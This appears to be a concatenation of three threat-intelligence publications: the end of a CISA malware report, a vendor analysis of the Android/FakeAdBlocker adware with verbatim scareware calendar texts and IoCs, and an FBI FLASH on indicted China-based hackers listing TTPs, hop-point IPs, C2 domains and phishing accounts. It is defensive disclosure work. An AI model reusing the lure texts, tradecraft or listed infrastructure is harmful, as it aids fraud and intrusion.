CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organizations. Configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.
- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless necessary.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file type).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).
Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".
### Contact Information
CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the provided link.
### Document FAQ
**What is a MIFR?**
A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most cases, it will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the desired analysis.
**What is a MAR?**
A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual analysis. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.
**Can I edit this document?**
This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to CISA at 1-888-282-0870 or the CISA Service Desk.
**Can I submit malware to CISA?**
Malware samples can be submitted via three methods:
- Web: https://malware.us-cert.gov
- E-Mail: submit@malware.us-cert.gov
- FTP: ftp.malware.us-cert.gov (anonymous)
CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing. Reporting forms can be found on CISA's homepage.
### Revisions
August 26, 2020: Initial Version |
Some URL shortener services distribute Android malware, including banking or SMS trojans. On iOS, we have seen link shortener services pushing spam calendar files to victims’ devices.
We hope you already know that you shouldn’t click on just any URLs. You might be sent one in a message; somebody might insert one under a social media post or you could be provided with one on basically any website. Users or websites providing these links might use URL shortener services. These are used to shorten long URLs, hide original domain names, view analytics about the devices of visitors, or in some cases even monetize their clicks.
Monetization means that when someone clicks on such a link, an advertisement will be displayed that will generate revenue for the person who generated the shortened URL. The problem is that some of these link shortener services use aggressive advertising techniques such as scareware ads: informing users their devices are infected with dangerous malware, directing users to download dodgy apps from the Google Play store or to participate in shady surveys, delivering adult content, offering to start premium SMS service subscriptions, enabling browser notifications, and making dubious offers to win prizes.
We’ve even seen link shortener services pushing “calendar” files to iOS devices and distributing Android malware – indeed, we discovered one piece of malware we named Android/FakeAdBlocker, which downloads and executes additional payloads (such as banking trojans, SMS trojans, and aggressive adware) received from its C&C server. Below we describe the iOS calendar-event-creating downloads and how to recover from them, before spending most of the blog post on a detailed analysis of the distribution of Android/FakeAdBlocker and, based on our telemetry, its alarming number of detections. This analysis is mainly focused on the functionality of the adware payload and, since it can create spam calendar events, we have included a brief guide detailing how to automatically remove them and uninstall Android/FakeAdBlocker from compromised devices.
### Distribution
Content displayed to the victim from monetized link shorteners can differ based on the running operating system. For instance, if a victim clicked on the same link on a Windows device and on a mobile device, a different website would be displayed on each device. Besides websites, they could also offer an iOS device user to download an ICS calendar file, or an Android device user to download an Android app.
While some advertisements and Android applications served by these monetized shortened links are legitimate, we observed that the majority lead to shady or unwanted behavior.
### iOS targets
On iOS devices, besides flooding victims with unwanted ads, these websites can create events in victims’ calendars by automatically downloading an ICS file. As the screenshots show, victims must first tap the subscribe button to spam their calendars with these events. However, the calendar name “Click OK To Continue (sic)” does not reveal the true content of those calendar events and only misleads the victims into tapping the Subscribe and Done button.
These calendar events falsely inform victims that their devices are infected with malware, hoping to induce victims to click on the embedded links, which lead to more scareware advertisements.
### Android targets
For victims on Android devices, the situation is more dangerous because these scam websites might initially provide the victim with a malicious app to download and afterwards proceed with visiting or downloading the actual expected content searched for by the user.
There are two scenarios for Android users that we observed during our research. In the first one, when the victim wants to download an Android application other than from Google Play, there is a request to enable browser notifications from that website, followed by a request to download an application called adBLOCK app.apk. This might create the illusion that this adBLOCK app will block displayed advertisements in the future, but the opposite is true. This app has nothing to do with the legitimate adBLOCK application available from the official source.
When the user taps on the download button, the browser is redirected to a different website where the user is apparently offered an ad-blocking app named adBLOCK, but ends up downloading Android/FakeAdBlocker. In other words, the victim’s tap or click is hijacked and used to download a malicious application.
In the second Android scenario, when the victims want to proceed with downloading the requested file, they are shown a web page describing the steps to download and install an application with the name Your File Is Ready To Download.apk. This name is obviously misleading; the name of the app is trying to make the user think that what is being downloaded is the app or a file they wanted to access.
In both cases, a scareware advertisement or the same Android/FakeAdBlocker trojan is delivered via a URL shortener service. Such services employ the Paid to click (PTC) business model and act as intermediaries between customers and advertisers. The advertiser pays for displaying ads on the PTC website, where part of that payment goes to the party that created the shortened link.
One of the URL shortener services states in its terms of service that users should not create shortened links to transmit files that contain viruses, spyware, adware, trojans or other harmful code. To the contrary, we have observed that their ad partners are doing it.
### Telemetry
Based on our detection data, Android/FakeAdBlocker was spotted for the first time in September 2019. Since then, we have been detecting it under various threat names. From the beginning of this year till July 1st, we have seen more than 150,000 instances of this threat being downloaded to Android devices.
### Android/FakeAdBlocker analysis
After downloading and installing Android/FakeAdBlocker, the user might realize that it has a white blank icon and, in some cases, even has no app name. After its initial launch, this malware decodes a base64-encoded file with a .dat extension that is stored in the APK’s assets. This file contains C&C server information and its internal variables.
From its C&C server, it will request another configuration file. This has a binary payload embedded, which is then extracted and dynamically loaded. For most of the examples we have observed, this payload was responsible for displaying out-of-context ads. However, in hundreds of cases, different malicious payloads were downloaded and executed. Based on our telemetry, the C&C server returned different payloads based on the location of the device.
The emerging fact that the C&C server can at any time distribute different malicious payloads makes this threat unpredictable. Since all aforementioned trojans have already been analyzed, we will continue with the analysis of the adware payload that was distributed to more than 99% of the victims. The adware payload bears many code similarities with the downloader so we are classifying both in the same Android/FakeAdBlocker malware family.
Although the payloads download in the background, the victim is informed about actions happening on the mobile device by the activity displayed saying file is being downloaded. Once everything is set up, the Android/FakeAdBlocker adware payload asks the victim for permission to draw over other apps, which will later result in it creating fake notifications to display advertisements in the foreground, and for permission to access the calendar.
After all permissions are enabled, the payload silently starts to create events in Google Calendar for upcoming months. It creates eighteen events happening every day, each of them lasts 10 minutes. Their names and descriptions suggest that the victim’s smartphone is infected, user data is exposed online or that a virus protection app is expired. Descriptions of each event include a link that leads the victim to visit a scareware advertisement website. That website again claims the device has been infected and offers the user to download shady cleaner applications from Google Play.
All the event title names and their descriptions can be found in the malware’s code. Here are all scareware event texts created by the malware, verbatim. If you find one of these in your Google Calendar, you are or were most likely a victim of this threat.
- ⚠ Hackers may try to steal your data! Block ads, viruses and pop-ups on YouTube, Facebook, Google, and your favorite websites. CLICK THE LINK BELOW TO BLOCK ALL ADS
- ⚠ YOUR Device can be infected with A VIRUS ⚠ Block ads, viruses and pop-ups on YouTube, Facebook, Google, and your favorite websites. CLICK THE LINK BELOW TO BLOCK ALL ADS
- ☠ Severe Viruses have been found recently on Android devices Block ads, viruses and pop-ups on YouTube, Facebook, Google, and your favorite websites. CLICK THE LINK BELOW TO BLOCK ALL ADS
- 🛑 Your Phone is not Protected ?! Click To Protect it! It’s 2021 and you haven’t found a way to protect your Device? Click below to fix this!
- ⚠ Android Virus Protection Expired ?! Renew for 2021 We have all heard stories about people who got exposed to malware and expose their data at risk. Don’t be silly, protect yourself now by clicking below!
- ⚠ You May Be Exposed Online Click To Fix! Hackers can check where you live by checking your device’s IP while you are at home. Protect yourself by installing a VPN. Protect your self by clicking below.
- ✅ Clear Your Device from Malicious Attacks! Your Device is not invincible from viruses. Make sure that it is free from infection and prevent future attacks. Click the link below to start scanning!
- ⚠ Viruses Alert – Check Protection NOW Hackers and practically anyone who want it can check where you live by breaking into your device. Protect your self by clicking below.
- ☠ Viruses on your Device?! CLEAN THEM NOW It’s 2021 and you haven’t found a way to protect your Device? Click below to fix this!
- 🛡 Click NOW to Protect your Priceless Data! Your identity and other important information can be easily stolen online without the right protection. VPN can effectively avoid that from happening. Click below to avail of that needed protection.
- ⚠ You Are Exposed Online, Click To Fix! Hackers can check where you live by checking your device’s IP while you are at home. Protect yourself by installing a VPN. Protect your self by clicking below.
- 🧹 Clean your Phone from potential threats, Click Now. Going online exposes you to various risks including hacking and other fraudulent activities. VPN will protect you from these attacks. Make your online browsing secured by clicking the link below.
- 🛑 Your Phone is not Protected! Click To Protect it! It’s 2021 and you haven’t found a way to protect your iPhone? Click below to fix this!
- ⚠ YOUR Device can be infected with A VIRUS ⚠ Block ads, viruses and pop-ups on YouTube, Facebook, Google, and your favorite websites. CLICK THE LINK BELOW TO BLOCK ALL ADS
- ⚠ You May Be Exposed Online Click To Fix! Hackers can check where you live by checking your device’s IP while you are at home. Protect yourself by installing a VPN. Protect your self by clicking below.
- ☠ Severe Viruses have been found recently on Android devices Block ads, viruses and pop-ups on YouTube, Facebook, Google, and your favorite websites. CLICK THE LINK BELOW TO BLOCK ALL ADS
- ☠ Viruses on your Device?! CLEAN THEM NOW It’s 2021 and you haven’t found a way to protect your Device? Click below to fix this!
- ⚠ Android Virus Protection Expired ?! Renew for 2021 We have all heard stories about people who got exposed to malware and expose their data at risk. Don’t be silly, protect yourself now by clicking below!
Besides flooding the calendar with scam events, Android/FakeAdBlocker also randomly displays full screen advertisements within the mobile browser, pops up scareware notifications and adult advertisements, and displays a Messenger-like “bubble” in the foreground mimicking a received message with a scammy text next to it. Clicking on any of these would lead the user to a website with further scareware content that suggests that the victim install cleaners or virus removers from Google Play.
### Uninstall process
To identify and remove Android/FakeAdBlocker, including its dynamically loaded adware payload, you need to first find it among your installed applications, by going to Settings -> Apps. Because the malware doesn’t have an icon or an app name, it should be easy to spot. Once located, tap it once to select it and then tap on Uninstall button and confirm the request to remove the threat.
### How to automatically remove spam events
Uninstalling Android/FakeAdBlocker will not remove the spam events it created in your calendar. You can remove them manually; however, it would be a tedious job. This task can also be done automatically, using an app. During our tests, we successfully removed all these events using a free app available from the Google Play store called Calendar Cleanup. A problem with this app is that it removes only past events. Because of that, to remove upcoming events, temporarily change the current time and date in the settings of the device to be the day after the last spam event created by the malware. That would make all these events expired and Calendar Cleanup can then automatically remove them all.
It is important to state that this app removes all events, not just the ones created by the malware. Because of that, you should carefully select the targeted range of days. Once the job is done, make sure to reset the current time and date.
### Conclusion
Based on our telemetry, it appears that many users tend to download Android apps from outside of Google Play, which might lead them to download malicious apps delivered through aggressive advertising practices that are used to generate revenue for their authors. We identified and demonstrated this vector of distribution. Android/FakeAdBlocker downloads malicious payloads provided by its operator’s C&C server; in most cases, after launch these hide themselves from user view, deliver unwanted scareware or adult content advertisements and create spam calendar events for upcoming months. Trusting these scareware ads might cost their victims money either by sending premium rate SMS messages, subscribing to unnecessary services, or downloading additional and often malicious applications. Besides these scenarios, we identified various Android banking trojans and SMS trojans being downloaded and executed.
### IoCs
**Hash**
B0B027011102B8FD5EA5502D23D02058A1BFF1B9 - Android/FakeAdBlocker.A
E51634ED17D4010398A1B47B1CF3521C3EEC2030 - Android/FakeAdBlocker.B
696BC1E536DDBD61C1A6D197AC239F11A2B0C851 - Android/FakeAdBlocker.C
**C&Cs**
emanalyst[.]biz
mmunitedaw[.]info
ommunite[.]top
rycovernmen[.]club
ransociatelyf[.]info
schemics[.]club
omeoneha[.]online
sityinition[.]top
fceptthis[.]biz
oftongueid[.]online
honeiwillre[.]biz
eaconhop[.]online
ssedonthep[.]biz
fjobiwouldli[.]biz
offeranda[.]biz
**File paths of downloaded payloads**
/storage/emulated/0/Android/data/com.intensive.sound/files/Download/updateandroid.apk
/storage/emulated/0/Android/data/com.intensive.sound/files/Download/Chrome05.12.11.apk
/storage/emulated/0/Android/data/com.intensive.sound/files/Download/XXX_Player.apk
/storage/emulated/0/Android/data/com.confidential.pottery/files/Download/Google_Update.apk
/storage/emulated/0/Android/data/com.confidential.pottery/files/Download/System.apk
/storage/emulated/0/Android/data/com.confidential.pottery/files/Download/Android-Update.5.1.apk
/storage/emulated/0/Android/data/com.cold.toothbrush/files/Download/Android_Update.apk
/storage/emulated/0/Android/data/com.cold.toothbrush/files/Download/chromeUpdate.apk
/storage/emulated/0/Android/data/com.cold.toothbrush/files/Download/FreeDownloadVideo.apk
/storage/emulated/0/Android/data/com.anaconda.brave/files/Download/MediaPlayer.apk
/storage/emulated/0/Android/data/com.anaconda.brave/files/Download/GoogleChrome.apk
/storage/emulated/0/Android/data/com.dusty.bird/files/Download/Player.apk
### MITRE ATT&CK techniques
| Tactic | ID | Name | Description |
|-----------------|------------------|---------------------------------|-------------|
| Initial Access | T1476 | Deliver Malicious App via Other Means | Android/FakeAdBlocker can be downloaded from third-party websites. |
| | T1444 | Masquerade as Legitimate Application | Android/FakeAdBlocker impersonates legitimate AdBlock app. |
| Persistence | T1402 | Broadcast Receivers | Android/FakeAdBlocker listens for the BOOT_COMPLETED broadcast, ensuring that the app’s functionality will be activated every time the device starts. |
| | T1541 | Foreground Persistence | Android/FakeAdBlocker displays transparent notifications and pop-up advertisements. |
| Defense Evasion | T1407 | Download New Code at Runtime | Android/FakeAdBlocker downloads and executes APK files from a malicious adversary server. |
| | T1406 | Obfuscated Files or Information | Android/FakeAdBlocker stores base64-encoded file in assets containing config file with C&C server. |
| | T1508 | Suppress Application Icon | Android/FakeAdBlocker’s icon is hidden from its victim’s view. |
| Collection | T1435 | Access Calendar Entries | Android/FakeAdBlocker creates scareware events in calendar. |
| Command And Control | T1437 | Standard Application Layer Protocol | Android/FakeAdBlocker communicates with C&C via HTTPS. |
| Impact | T1472 | Generate Fraudulent Advertising Revenue | Android/FakeAdBlocker generates revenue by automatically displaying ads. | |
# TLP:WHITE
The following information is being provided by the FBI in collaboration with the Cybersecurity and Infrastructure Security Agency (CISA), with no guarantees or warranties, for potential use at the sole discretion of recipients in order to protect against cyber threats. This data is provided to help cybersecurity professionals and system administrators guard against the persistent malicious actions of cyber actors. This FLASH has been released TLP:WHITE. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
## WE NEED YOUR HELP!
If you identify any suspicious activity within your enterprise or have related information, please contact FBI CYWATCH immediately with respect to the procedures outlined in the Reporting Notice section of this message.
**Email:** cywatch@fbi.gov
**Phone:** 1-855-292-3937
*Note: By reporting any related information to FBI CyWatch, you are assisting in sharing information that allows the FBI to track malicious actors and coordinate with private industry and the United States Government to prevent future intrusions and attacks.*
## Indictment of China-Based Cyber Actors
### Summary
The US Department of Justice (DOJ) indicted five cyber actors based in the People’s Republic of China (PRC) for computer intrusions affecting more than 100 victim companies and organizations in the United States and abroad, as well as multiple foreign governments. The actors, Zhang Haoran and Tan Dailin, collaborated with Chengdu 404 Network Technology company employees Qian Chuan, Fu Qiang, and Jiang Lizhi to conduct computer network exploitation (CNE) operations originating from China. These China-based cyber actors targeted victims in the following industries:
- education
- computer hardware
- software, including video gaming
- government
- healthcare
- hospitality
- networking
- non-governmental organizations
## Threat
This sophisticated hacking group located in Chengdu, Sichuan Province, PRC, has been active since at least 2011. The group conducted numerous computer intrusions as well as criminal for-profit computer fraud on a global scale. The group used sophisticated tradecraft against a variety of targets, such as compromising legitimate software for supply chain intrusions, using custom malware, deploying ransomware, and engaging in crypto-jacking attacks. Observed tactics, techniques, and procedures (TTPs) associated with the group can be mapped to the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK) for Enterprise framework, Version 7.0.
### Technical Details
**Capabilities:**
The group uses a wide range of tactics in order to gain Initial Access [TA0001]. Spearphishing emails with malicious files [T1566.001] is a common tactic for the actors. Spearphishing themes frequently target HR departments with malicious archive files masqueraded [T1036.002] as applicant resumes. The group historically used Microsoft Compiled HTML Help (CHM) [T1218.001] files within their spearphishing messages. In addition, the group conducted supply chain compromises resulting in the victimization of third-party customers throughout the world [T1195.002].
These actors typically obtain means of identification, such as login credentials belonging to individuals with administrative access to victim computer networks, to expand their unauthorized access. Additionally, the actors may deploy legitimate third-party VPN software such as SoftEther on victim networks to facilitate follow-on access to the victim network. The group has also deployed “Skeleton Key” malware to create a master password that will work for any account in the domain.
During early 2020, the group conducted a massive campaign to rapidly exploit publicly identified security vulnerabilities. This technique allowed the group to gain access into victim accounts using publicly available exploit code against VPN services [T1133] or public-facing applications [T1190] – without using their own distinctive or identifying malware – so long as the group acted before victim companies updated their systems. This campaign targeted organizations that did not yet patch against security vulnerabilities such as CVE-2019-19781, CVE-2019-11510, CVE-2019-16920, CVE-2019-16278, CVE-2019-1652/CVE-2019-1653, and CVE-2020-10189. These compromises typically resulted in the installation of widely available remote access tools like Cobalt Strike. In all cases in this campaign, the exploit code used by the group was typically several months old.
The group has used the following malware: gh0st, 9002, Zxshell, HK Door, XSLCMD, PlugX/Sogu, Derusbi, HiKit, Crosswalk/ProxIP, Winnti/Pasteboy/Stone/Treadstone, Azazel, PoisonPlug/Barlaiy/ShadowPad, metasploit-meterpreter, and Cobalt Strike. The group also uses numerous webshells including China Chopper.
One common persistence technique the group has used is DLL side-loading [T1574.002]. The group frequently implanted malware in “%WINDIR%\Windows\System32\wbem\loadperf.dll” to side-jack of the proper "loadperf.dll" file located in the "%WINDIR%\Windows\System32\" directory. This abuse of the loadperf DLL used the “WMI Performance Adapter Service” (wmiAPSrv). A similar technique is used with the “winmm.dll” file when it is not in “%WINDIR%\System32\winmm.dll”. This technique has been used to launch HK Door, Crosswalk, and other malware.
**Infrastructure:**
The cyber actors typically conducted their intrusions by accessing compromised servers called hop points from numerous China-based IP addresses resolving to different Chinese internet service providers (ISPs). These cyber actors used US-based and foreign-based email, social media, and other online accounts to develop online personas in order to interact with the group, other conspirators, ISPs, web hosting providers, and victim companies.
The actors obtained the use of servers, typically by leasing remote access to them, directly or indirectly from hosting providers. They used these servers to register and access operational email accounts, host command and control (C2) domains, and interact with victim networks. The actors used these hop points as an obfuscation technique when interacting with victim networks.
The actors registered and used malicious domains that mimic prominent companies in order to deceive targeted victims, cybersecurity professionals, and cybersecurity systems into identifying Internet traffic associated with those domains as legitimate or benign. These socially engineered domains were usually used as C2 domains.
These actors also created “C2 dead drops” (C2DD) [T1102.001], whereby they programmed their malware to contact these C2DD accounts on publicly available web pages. The C2DD pages were encoded with the IP addresses of C2 servers. Specifically, C2DD pages included what might appear to be random strings of text, with the relevant malware programmed to recognize the text strings—which typically started and/or ended with a pre-programmed “anchor text”—converting them into actor-controlled IP addresses or C2 domains. For example, PlugX/Sogu/Fast malware used by the group used encoded text sandwiched between “DZKS” and “DZJS”. The malware would then cause the victim computers to communicate with the servers hosting those IP addresses or C2 domains.
### Indicators of Compromise:
**Active Hop Point Servers:**
- 45.32.68[.]14 (started on/about 04/09/2020)
- 45.77.28[.]164 (started on/about 05/11/2020)
- 45.32.93[.]169 (started on/about 06/01/2020)
- 207.246.16[.]107 (started on/about 06/01/2020)
- 104.243.19[.]49 (used until 9/9/2020)
- 104.243.23[.]73 (used until 9/9/2020)
- 104.36.69[.]105 (used until 9/9/2020)
- 107.182.18[.]149 (used until 9/9/2020)
- 107.182.24[.]70 (used until 9/9/2020)
- 107.182.26[.]43 (used until 9/9/2020)
- 172.96.204[.]252 (used until 9/9/2020)
- 173.242.122[.]198 (used until 9/9/2020)
- 176.122.162[.]149 (used until 9/9/2020)
- 176.122.163[.]125 (used until 9/9/2020)
- 176.122.188[.]254 (used until 9/9/2020)
- 149.154.157[.]48 (used on 08/20/2020)
- 216.24.179[.]23 (used until 9/9/2020)
- 64.64.251[.]135 (used until 9/9/2020)
- 65.49.192[.]74 (used until 9/9/2020)
- 74.120.175[.]144 (used until 9/9/2020)
- 74.82.201[.]8 (used until 9/9/2020)
- 80.251.220[.]225 (used until 9/9/2020)
- 80.251.222[.]7 (used until 9/9/2020)
- 80.251.222[.]80 (used until 9/9/2020)
- 140.82.23[.]214 (started on/about 06/01/2020)
- 173.242.117[.]47 (used on 01/21/2020)
- 149.248.16[.]107 (started on/about 06/01/2020)
- 192.69.89[.]157 (used on 08/05/2020)
- 149.28.88[.]49 (started on/about 06/01/2020)
- 64.64.234[.]24 (used on 05/04/2020)
- 45.86.163[.]136 (used on 08/20/2020)
- 104.194.85[.]41 (used on 03/27/2020)
- 51.68.28[.]242 (used on 08/20/2020)
- 104.225.159[.]134 (used on 12/07/2018)
- 207.246.108[.]247 (used on 08/20/2020)
- 104.224.185[.]36 (used on 09/02/2020)
- 138.68.78.69 (started on 09/03/2020)
**Historic Hop Point Servers:**
- 149.28.75[.]81 (ended on 3/26/2020)
- 45.76.6[.]149 (started on/about 05/14/2020 - ended on 6/01/2020)
- 66.42.96[.]115 (ended on 04/08/2020)
- 8.9.11[.]130 (started on/about 05/14/2020 - ended on 06/01/2020)
- 66.42.98[.]220 (ended on 04/09/2020)
- 149.248.8[.]134 (started on/about 03/01/2020 - ended on 08/06/2020)
- 149.28.69[.]116 (ended on 04/21/2020)
- 67.229.97[.]224/29 (October 2017 – October 2019)
- 45.76.174[.]221 (ended on 04/21/2020)
- 67.198.161[.]240/28 (July 2012 – October 2017)
- 140.82.23[.]214 (ended on 04/21/2020)
- 174.139.62[.]56/29 (July 2012 – October 2017)
- 149.28.75[.]141 (ended on 05/07/2020)
- 174.139.203[.]0/27 (June 2016)
- 66.42.96[.]115 (ended on 05/14/2020)
**Command and Control Domains:**
- ad.lflink[.]com
- id.serveuser[.]com
- sexyjapan.ddns[.]info
- biller.zzux[.]com
- image.x24hr[.]com
- splash.dns04[.]com
- bschery.zzux[.]com
- images.h1x[.]com
- sport.wikaba[.]com
- bsnl1.dynamic-dns[.]net
- images.ikwb[.]com
- spyd123.dynamic-dns[.]net
- bswan.authorizeddns[.]org
- item.itemdb[.]com
- testtest.x24hr[.]com
- cat.moneyhome[.]biz
- l1nkedin.ns01[.]biz
- token.dns04[.]com
- cipp.dns04[.]com
- linkedin.2waky[.]com
- udm.dns05[.]com
- clients.cleansite[.]info
- money.moneyhome[.]biz
- udomain.mrbonus[.]com
- cronous.wikaba[.]com
- mtnl1.dynamic-dns[.]net
- udomaincom.dynamic-dns[.]net
- ddns.4pu[.]com
- mxmail.esmtp[.]biz
- users.fartit[.]com
- ddxsn.ddns[.]info
- netsysdom.dynamic-dns[.]net
- vada.my03[.]com
- dr0pb0x.zyns[.]com
- newnw.4pu[.]com
- vb.xxuz[.]com
- dropbox.dns2[.]us
- newpic.sexxxy[.]biz
- voda.dns04[.]com
- excharge.sexxxy[.]biz
- news.mrbonus[.]com
- wind.ikwb[.]com
- faceb00k.ns01[.]info
- nxead.itemdb[.]com
- winner.ikwb[.]com
- faceb0ok.2waky[.]com
- pachost.dynamic-dns[.]net
- winner.serveuser[.]com
- firejun.freeddns[.]com
- pachost.wikaba[.]com
- wordpr.dynamic-dns[.]net
- firejun.freetcp[.]com
- patch.itsaol[.]com
- wordpressb.justdied[.]com
- firejun.myddns[.]com
- pd.zzux[.]com
- wpblog.dynamic-dns[.]net
- foods.x24hr[.]com
- pd1.dynamic-dns[.]net
- wwwss.mrbasic[.]com
- forum1.zzux[.]com
- pdbana.dynamic-dns[.]net
- wxxxs.mefound[.]com
- foryou.x24hr[.]com
- pic.4pu[.]com
- xnews.ikwb[.]com
- free.itsaol[.]com
- pic.x24hr[.]com
- xnews.mypicture[.]info
- gold.bigmoney[.]biz
- purdue.dynamic-dns[.]net
- xvideo.mrslove[.]com
- gold.mrbonus[.]com
- readme.myddns[.]com
- xx0ssd.isasecret[.]com
- happysky.edns[.]biz
- rem0te.edns[.]biz
- xx0xx.dnset[.]com
- help.wikaba[.]com
- remoteset.zyns[.]com
- xznews.zzux[.]com
- hike.dns04[.]com
- remotetest.dynamic-dns[.]net
- zxerbqr.zyns[.]com
- hirez.ddns[.]info
### Spearphishing E-mail Accounts
- 0x41ex@gmail[.]com
- hee_chow_ming@yahoo.com[.]hk
- nslookup168@gmail[.]com
- 0x5h31l@gmail[.]com
- hiliana550jonson@gmail[.]com
- nuyuchen1983@hotmail[.]com
- 3g.xiao.i@gmail[.]com
- himyjb@gmail[.]com
- parameters4512@outlook[.]com
- a210f1@gmail[.]com
- holleword@hotmail[.]com
- paulmckee518@gmail[.]com
- aaronjayjack@outlook[.]com
- hostay88@gmail[.]com
- peterlovell29@gmail[.]com
- agsyhfyrdetyhfdgsh@gmail[.]com
- hrprter777@gmail[.]com
- petervc1983@gmail[.]com
- andreatilley178@gmail[.]com
- hrsimon59@gmail[.]com
- petter.mark@mail[.]com
- andr-lang@outlook[.]com
- ikoumoutzelis@gmail[.]com
- puttyoffice@gmail[.]com
- angela.kuolt90@gmail[.]com
- inministryofhealth@gmail[.]com
- qiongzhi777@live[.]com
- angelatyrrell844@gmail[.]com
- ishiicaron@gmail[.]com
- qungtlak@gmail[.]com
- anssi.kanninen@outlook[.]com
- jacktake@outlook[.]com
- richardreed647@gmail[.]com
- anvisoftceo@gmail[.]com
- jennyradford45@gmail[.]com
- robertaponte331@gmail[.]com
- anydkim9@gmail[.]com
- jimgrem@msn[.]com
- robertblanchard511@gmail[.]com
- artomikkola@outlook[.]com
- jimgrou@msn[.]com
- ryandaws@outlook[.]com
- ashiksaha73@gmail[.]com
- jinnyit987@gmail[.]com
- shavonyasbjqoj@gmail[.]com
- b1ackn1ve@gmail[.]com
- johnx19@hotmail[.]com
- skydrive1951@hotmail[.]com
- bajsingh63@gmail[.]com
- jonreal27@gmail[.]com
- skydrivewinsborn@hotmail[.]com
- baptistevillanyi@gmail[.]com
- josephbrier300@gmail[.]com
- sotadoanfybs@hotmail[.]com
- bhssasqza54251@gmail[.]com
- josuepined@outlook[.]com
- stevenwhipple48@gmail[.]com
- blackwolf915@gmail[.]com
- justbyebye@hotmail[.]com
- summery679@gmail[.]com
- blackwolf915@outlook[.]com
- justinbethune@hotmail[.]com
- susanne.sawer@gmail[.]com
- bogart.mig@gmail[.]com
- karolinebartush67@gmail[.]com
- sworgan88@gmail[.]com
- bossjiang2016@outlook[.]com
- lauramuollo@yahoo[.]com
- symanteclabs@outlook[.]com
- carlietoole56@gmail[.]com
- lauren19111@hotmail[.]com
- takeown2009@outlook[.]com
- cary.emily90@gmail[.]com
- lhm_cn@msn[.]com
- terrenceruddell59@gmail[.]com
- cheng.cheng.cheng3@gmail[.]com
- lhmjustfun@gmail[.]com
- thplldeepak@gmail[.]com
- chris.weaver049@gmail[.]com
- liveupdate@outlook[.]com
- tony.john90@outlook[.]com
- ckevin324@gmail[.]com
- maddulasavitri@gmail[.]com
- tw.slax@gmail[.]com
- code.sec01@gmail[.]com
- mark_hedin@yahoo[.]com
- ualmansife523f@gmail[.]com
- danieldociu81@gmail[.]com
- michaelbrown2151@gmail[.]com
- unameid@gmail[.]com
- dilo220sayontony@gmail[.]com
- mikecoo2020@yahoo[.]com
- us.webgame@gmail[.]com
- epovkhan@gmail[.]com
- mm4rbury@outlook[.]com
- vaniadower5641c@gmail[.]com
- ervartiainen@gmail[.]com
- morissafetzko4@gmail[.]com
- violetteclaveau54c@gmail[.]com
- georgecraven379@gmail[.]com
- mralphmielke@gmail[.]com
- willardstone92@gmail[.]com
- gogoiobit@gmail[.]com
- ms.alienware@gmail[.]com
- wljsdd@gmail[.]com
- greatyeon3@gmail[.]com
- mstsc@live[.]com
- wrennieeller5641c@gmail[.]com
- greatyeon7@gmail[.]com
- myjobs.kr.hr@gmail[.]com
- ysummer56@gmail[.]com
- gsecdump@gmail[.]com
- nanettehoagland676@gmail[.]com
- zeplin.law@gmail[.]com
- gtagqwrxjhec@gmail[.]com
- nesakjsfdkl8754@gmail[.]com
- zeplincopyright@gmail[.]com
- gwanling1456@yahoo[.]com
- niying322@gmail[.]com
- zeplinlegal@gmail[.]com
- hangobangeros526c@gmail[.]com
- nodarie89@yahoo[.]com
- znetdevil@msn[.]com
- haueh410gakiam@gmail[.]com
- nohavesky@hotmail[.]com
## Recommended Mitigations
**Patch and Vulnerability Management:**
- Install vendor-provided and verified patches to all systems for critical vulnerabilities, prioritizing timely patching of Internet-connected servers for known vulnerabilities and software processing Internet data, such as web browsers, browser plugins, and document readers.
- Ensure proper migrating steps or compensating controls are implemented for vulnerabilities that cannot be patched in a timely manner.
- Maintain up-to-date antivirus signatures and engines.
- Recommend that organizations routinely audit their configuration and patch management programs to ensure they can track and mitigate emerging threats. Implementing a rigorous configuration and patch management program will hamper sophisticated cyber threat actors’ operations and protect organizations’ resources and information systems.
**Protect Credentials:**
- Strengthen credential requirements and implement multi-factor authentication to protect individual accounts, particularly for webmail and VPN access and for accounts that access critical systems. Regularly change passwords and do not reuse passwords for multiple accounts.
- Audit all remote authentications from trusted networks or service providers.
- Detect mismatches by correlating credentials used within internal networks with those employed on external-facing systems.
- Log use of system administrator commands, such as net, ipconfig, and ping.
- Audit logs for suspicious behavior.
- Enforce principle of least privilege.
**Network Hygiene and Monitoring:**
- Actively scan and monitor internet-accessible applications for unauthorized access, modification, and anomalous activities.
- Actively monitor server disk use and audit for significant changes.
- Log DNS queries and consider blocking all outbound DNS requests that do not originate from approved DNS servers. Monitor DNS queries for C2 over DNS.
- Develop and monitor the network and system baselines to allow for the identification of anomalous activity. Identify and suspend access of users exhibiting unusual activity.
- Use whitelist or baseline comparison to monitor Windows event logs and network traffic to detect when a user maps a privileged administrative share on a Windows system.
- Leverage multi-sourced threat-reputation services for files, DNS, URLs, IPs, and email addresses.
